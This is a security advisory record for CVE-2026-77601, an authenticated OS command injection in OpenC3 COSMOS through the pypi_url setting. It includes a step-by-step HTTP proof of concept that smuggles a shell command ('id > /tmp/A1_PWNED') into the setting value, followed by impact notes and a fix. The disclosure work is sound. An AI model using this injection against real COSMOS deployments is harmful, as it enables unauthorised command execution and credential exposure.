CVE-2026-77601: OpenC3 COSMOS Authenticated OS Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp3w-52v9-q57f",
  "modified" : "2026-09-23T18:51:01Z",
  "published" : "2026-09-23T18:51:01Z",
  "aliases" : [ "CVE-2026-77601" ],
  "summary" : "OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting",
  "details" : "## Summary\nAn authenticated user can execute arbitrary operating system commands on the `openc3-cosmos-cmd-tlm-api` service. The `pypi_url` setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by `/bin/sh`.\n\n## Details\nThe `pypi_url` value is written through the `set_setting` API method, reachable over the JSON-RPC endpoint `POST /openc3-api/api`. In the open-source edition, `authorize` (`openc3/lib/openc3/utilities/authorization.rb`) verifies only that the session token is valid and returns the anonymous user; the `permission:` argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.\n\nDuring plugin install, `PluginModel.install_phase2` reads the setting and builds the argument string, then runs it through a backtick (`openc3/lib/openc3/models/plugin_model.rb:288`):\n\n```ruby\npypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation\npypi_url += '/simple' if pypi_url\npip_args = \"-i #{pypi_url} -r #{requirements_path}\"\noutput = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c\n```\n\n`get_setting` appends `/simple` to the stored value, and a trailing `#` comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a `requirements.txt` or `pyproject.toml`, which the actor controls because they supply the plugin gem.\n\nThe sibling installer `openc3/lib/openc3/models/python_package_model.rb:95` performs the same `pipinstall` invocation using an argv array through `ProcessManager.spawn`, which does not involve a shell and is not injectable. `plugin_model.rb:288` is the single site that uses a backtick.\n\n## PoC\nConfirmed end-to-end over HTTP against a booted `openc3-cosmos-cmd-tlm-api` (puma) with Redis and bucket storage. Every request is authenticated.\n\n1. Obtain a session token:\n   ```\n   POST /openc3-api/auth/verify    {\"password\":\"<password>\"}\n   ```\n2. Write the setting (JSON-RPC):\n   ```\n   POST /openc3-api/api\n   {\"jsonrpc\":\"2.0\",\"method\":\"set_setting\",\n    \"params\":[\"pypi_url\",\"https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #\"],\n    \"keyword_params\":{\"scope\":\"DEFAULT\"},\"id\":1}\n   ```\n3. Upload a plugin gem that contains a `requirements.txt`:\n   ```\n   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)\n   ```\n4. Install it:\n   ```\n   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)\n   ```\n\nThe injected command executed inside the install process. Contents of the marker file written by the payload:\n```\nuid=1001(openc3) gid=1001(openc3) groups=1001(openc3)\n```\n\n## Impact\nArbitrary OS command execution as the `openc3` user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.\n\nIn the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.\n\n## Suggested fix\nRun `pipinstall` through an argv array instead of a shell, matching `python_package_model.rb:95`:\n\n```ruby\npip_argv = [\"-i\", pypi_url]\npip_argv += [\"--trusted-host\", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?\npip_argv += File.exist?(pyproject_path) ? [gem_path] : [\"-r\", requirements_path]\nOpenC3::ProcessManager.instance.spawn([\"/openc3/bin/pipinstall\"] + pip_argv, \"plugin_pip_install\", File.basename(gem_path), Time.now + 3600.0, scope: scope)\n```\n\nOptionally also validate `pypi_url` as an `http(s)` URL when the setting is written.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "openc3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.12.0"
      }, {
        "fixed" : "7.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.2.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenC3/cosmos/security/advisories/GHSA-vp3w-52v9-q57f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenC3/cosmos/pull/3489"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenC3/cosmos/commit/be70d1d836c83c3b084e768e31a399312d4cbe0b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenC3/cosmos"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenC3/cosmos/releases/tag/v7.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-23T18:51:01Z",
    "nvd_published_at" : null
  }
}